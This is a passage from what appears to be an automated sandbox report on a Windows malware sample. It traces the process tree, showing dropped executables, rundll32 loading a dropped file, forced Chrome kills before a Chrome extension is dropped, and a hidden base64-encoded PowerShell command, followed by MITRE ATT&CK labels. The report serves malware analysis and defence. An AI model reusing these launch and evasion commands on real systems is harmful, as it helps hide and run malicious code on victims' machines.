        
        control .\FUEj5.QM
        10⤵
        
        PID:4832
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\FUEj5.QM
        11⤵
        Loads dropped DLL
        
        PID:532
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\FUEj5.QM
        12⤵
        
        PID:1672
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\FUEj5.QM
        13⤵
        
        PID:1912
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -F -Im "Sat0546bbc15e4.exe"
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:636
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 372 -s 608
    3⤵
    - Program crash
    PID:2668
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Sat058b772138cf0f3.exe
    3⤵
    PID:3132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Sat05ae182be20069e.exe
    3⤵
    PID:112
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Sat05ff081f766eeabb8.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2760

C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat05ff081f766eeabb8.exe
Sat05ff081f766eeabb8.exe
1⤵
- Executes dropped EXE
PID:1844

C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat058b772138cf0f3.exe
Sat058b772138cf0f3.exe
1⤵
- Executes dropped EXE
PID:3784
- C:\Users\Admin\AppData\Local\Temp\is-FGQ74.tmp\Sat058b772138cf0f3.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-FGQ74.tmp\Sat058b772138cf0f3.tmp" /SL5="$B0056,239846,156160,C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat058b772138cf0f3.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2596

C:\Users\Admin\AppData\Local\Temp\7zS833323C6\Sat05ae182be20069e.exe
Sat05ae182be20069e.exe
1⤵
- Executes dropped EXE
- Drops Chrome extension
- Suspicious use of AdjustPrivilegeToken
PID:3472
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im chrome.exe
  2⤵
  PID:1576
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2968
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb1264f50,0x7ffbb1264f60,0x7ffbb1264f70
    3⤵
    PID:4216
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1580,2475511554651967687,6152004399227001294,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1624 /prefetch:2
    3⤵
    PID:4424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1580,2475511554651967687,6152004399227001294,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1984 /prefetch:8
    3⤵
    PID:1368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1580,2475511554651967687,6152004399227001294,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2256 /prefetch:8
    3⤵
    PID:4792
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1580,2475511554651967687,6152004399227001294,131072 --lang=en-US --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2940 /prefetch:1
    3⤵
    PID:2764
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1580,2475511554651967687,6152004399227001294,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2932 /prefetch:1
    3⤵
    PID:1872
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1580,2475511554651967687,6152004399227001294,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2472 /prefetch:1
    3⤵
    PID:4404
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1580,2475511554651967687,6152004399227001294,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4504 /prefetch:8
    3⤵
    PID:4384
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1580,2475511554651967687,6152004399227001294,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4788 /prefetch:8
    3⤵
    PID:2916
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1580,2475511554651967687,6152004399227001294,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5172 /prefetch:8
    3⤵
    PID:4304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1580,2475511554651967687,6152004399227001294,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4772 /prefetch:8
    3⤵
    PID:5580
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1580,2475511554651967687,6152004399227001294,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=332 /prefetch:8
    3⤵
    PID:5652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1580,2475511554651967687,6152004399227001294,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5076 /prefetch:8
    3⤵
    PID:5768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1580,2475511554651967687,6152004399227001294,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2716 /prefetch:8
    3⤵
    PID:4316
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1580,2475511554651967687,6152004399227001294,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2732 /prefetch:2
    3⤵
    PID:6736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 372 -ip 372
1⤵
PID:1912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3720 -ip 3720
1⤵
PID:3172

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3720 -ip 3720
1⤵
PID:4412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3720 -ip 3720
1⤵
PID:2840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3720 -ip 3720
1⤵
PID:4324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3720 -ip 3720
1⤵
PID:392

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3720 -ip 3720
1⤵
PID:4212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 208 -p 3720 -ip 3720
1⤵
PID:1804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3720 -ip 3720
1⤵
PID:2240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3720 -ip 3720
1⤵
PID:4548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 3720 -ip 3720
1⤵
PID:3568

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 208 -p 3720 -ip 3720
1⤵
PID:4052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3720 -ip 3720
1⤵
PID:2704

C:\Users\Admin\AppData\Roaming\cisuibb
C:\Users\Admin\AppData\Roaming\cisuibb
1⤵
PID:5692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 5468 -ip 5468
1⤵
PID:5276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2652 -ip 2652
1⤵
PID:5300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4836 -ip 4836
1⤵
PID:6004

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:6996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 5420 -ip 5420
1⤵
PID:1444

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

T1064

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Scripting

T1064

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery